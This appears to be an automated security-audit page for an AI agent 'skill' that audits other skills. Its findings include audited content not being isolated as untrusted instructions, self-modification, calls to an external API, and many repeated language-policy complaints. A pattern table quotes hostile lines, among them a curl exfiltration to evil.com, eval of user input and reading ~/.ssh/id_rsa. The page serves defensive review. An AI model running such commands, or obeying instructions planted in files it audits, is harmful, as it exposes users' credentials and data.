T01 · Skill Instruction Hijacking
- Location
SKILL.md:93- Finding
Audited Skill Content Is Not Explicitly Isolated as Untrusted Instructions
- Content
View full analysis
- Remediation
View remediation
Security audit
Security checks for vulnerabilities and agentic risk
The skill appears to be a legitimate skill-auditing helper, but it needs review because it can edit audited files, call an external API, and write report files while leaving some safety boundaries unclear.
Review this skill before installing in sensitive environments. Use it only on target directories you intend the agent to inspect, confirm before allowing remediation edits, avoid running it on untrusted Skills unless your agent treats audited content as data, and be aware that L3 benchmarking may send derived keywords to SkillHub and that report files may be created or overwritten in the audited directory.
SKILL.md:93Audited Skill Content Is Not Explicitly Isolated as Untrusted Instructions
SKILL.md:39Default Read-Only Claim Conflicts with Automatic Audit-Report Writes
Skill modifies its own code, configuration, or behavior at runtime. Self-modification enables an agent to escalate privileges, disable safety constraints, or install persistent backdoors.
| T7 | MCP Least Privilege 权限声明 | L3 | SKILL.md/plugin.json 是否声明权限 | Important |
| T8 | Missing User Warnings | L3 | 有副作用的 Skill README 是否含警告 | Important |
| T9 | Description-Behavior Mismatch | L3 | description 与实际行为一致 | Important |
| T10 | Self-Modification 措辞 | L3 | 避免"update SKILL.md"等 | Minor |
| T11 | 安全敏感方案不文档化 | L3 | 不描述绕过网络限制方案 | Important |
| T12 | Pre-Scan 文件清单 | L2 | LS 检查凭证文件和临时脚本 | Critical if 存在 |
| T13 | 最小权限校验 | L2 | allowed-tools 与任务无关权限删除 | Minor |
Skill modifies its own code, configuration, or behavior at runtime. Self-modification enables an agent to escalate privileges, disable safety constraints, or install persistent backdoors.
| T7 | MCP Least Privilege 权限声明 | L3 | SKILL.md/plugin.json 是否声明权限 | Important |
| T8 | Missing User Warnings | L3 | 有副作用的 Skill README 是否含警告 | Important |
| T9 | Description-Behavior Mismatch | L3 | description 与实际行为一致 | Important |
| T10 | Self-Modification 措辞 | L3 | 避免"update SKILL.md"等 | Minor |
| T11 | 安全敏感方案不文档化 | L3 | 不描述绕过网络限制方案 | Important |
| T12 | Pre-Scan 文件清单 | L2 | LS 检查凭证文件和临时脚本 | Critical if 存在 |
| T13 | 最小权限校验 | L2 | allowed-tools 与任务无关权限删除 | Minor |
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
|---------|---------|--------|
| curl 到外部服务器 | `curl https://evil.com/collect?data=...` | Critical |
| eval 处理用户输入 | `eval(user_input)` | Critical |
| 读取敏感目录 | `cat ~/.ssh/id_rsa` | Critical |
| base64 解码外部输入 | `base64.b64decode(external_input)` | Critical |
---
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
# 本地凭证
config.local.json
config.local.*.json
.env
.env.local
# 临时脚本
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
config.local.json
config.local.*.json
.env
.env.local
# 临时脚本
_*.py
Most substantive entries in the changelog are written in Chinese, and there is no indication in this file that users may choose another language or that the skill is intentionally limited to a Chinese-speaking locale. The policy only permits language constraints when there is explicit opt-in or a clearly documented regional justification, which is not present here.
Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.
> **User Notice**: The remediation mode (Phase 4.5) and originality cleanup submode (A2) modify the audited Skill's files.
> - Defaults to read-only audit; modifications only occur after the user explicitly selects "Enter remediation mode" at confirmation point 2
> - Originality cleanup (Phase O-4) requires explicit user authorization at confirmation point O before executing Edit; **no trigger phrase can bypass confirmation point O**
> - To skip remediation, select "Report only"
> - Publishing: this skill **does not execute publishing**; it only provides publishing suggestions after explicit user authorization at confirmation point 4, with the user manually publishing to the three platforms
The title and core description are written exclusively in Chinese, and the trigger phrases and examples later in the file are also Chinese-centric. This creates a natural-language locale constraint without explicitly offering users a choice of language or documenting that the skill is intentionally region-specific.
The manifest description is written as an instruction set entirely in Chinese, including the trigger phrases, with no indication that other languages are supported or that the user may choose a preferred language. Under the policy rule, forcing a specific language or locale without user opt-in is a natural-language policy violation.
The operational sections, trigger guidance, workflow, rules, and examples are all presented in Chinese, which effectively constrains usage to a single language. Because the file does not offer a language choice or justify a locale-specific restriction, this conflicts with the natural-language policy requirement.
This markdown file is written entirely in Chinese and presents the audit instructions and trigger phrasing as mandatory operational guidance, with no indication that users may choose another language or locale. Under the language/locale policy, forcing a specific language without opt-in is a natural-language policy violation.
This methodology instructs the auditor to send extracted keywords derived from a skill's name and core function to an external third-party API. If those keywords contain unpublished product names, confidential project descriptions, or customer-specific functionality, the skill could disclose sensitive metadata outside the trust boundary during analysis.
URL: https://api.skillhub.cn/api/v1/search?q=<keywords>
Keywords: extract from the created Skill's name + core function
Example: for "interview-insight-miner", search "interview insight analysis"
The document lists language differentiation as '中文优先 vs 英文优先', which encodes a preferred language policy in natural-language guidance. Under the policy rules, forcing or preferring a specific language without offering user choice or documenting a justified locale constraint is a violation.
The document is written entirely in Chinese and presents user prompts and operational confirmations only in Chinese, with no indication that other languages are supported or that Chinese is optional. This creates a natural-language policy concern because it appears to impose a specific language/locale without explicit user opt-in.
The L3 maturity signal requires README.md to be '中英双语' (bilingual Chinese and English), which imposes a language policy as a release criterion. The document does not present this as optional, user-selectable, or justified as a region-specific compliance requirement.
The file's title and core invocation guidance are written entirely in Chinese and define the skill's usage in Chinese-only terms, with no indication that users may choose another language. This can violate a language/locale policy when a skill implicitly requires a specific language without user opt-in.
The document is entirely written as operational guidance in Chinese and specifies trigger phrases and user-facing prompts only in Chinese. There is no indication that the user can choose language or that the locale restriction is intentional for a region-specific skill, which creates a natural-language policy concern under the language/locale rule.
Manifest 将该 skill 定位为审计工具,并明确写明“Do NOT use for creating skills or publishing to platforms”,强调不涉及发布用途。L138 的回归审计建议直接把审计结论延伸到“三平台发布”决策,虽然不是自动发布操作,但已把文档行为范围扩展到发布流程指导,和描述中的严格边界不完全一致。
The file title and instructions present the audit report template entirely in Chinese and state when auditors should use this format, which implies a fixed output language. There is no indication that users may choose another language or that the Chinese-only constraint is optional or region-specific.
The document title and core instructions are written in Chinese, and the file provides no indication that another language is supported or that Chinese is a required locale for a region-specific tool. Under the policy, forcing a specific language without user opt-in is a natural-language policy concern.
L061-L067 明确规定 README 中的用户警告必须“中英文同步”,并进一步要求 README.md 与 README.en.md 内容必须同步。这属于对语言呈现的强制性要求,而不是提供可选语言方案或说明仅适用于特定合规区域,因而符合语言/locale policy violation 的判定条件。
No suspicious patterns detected.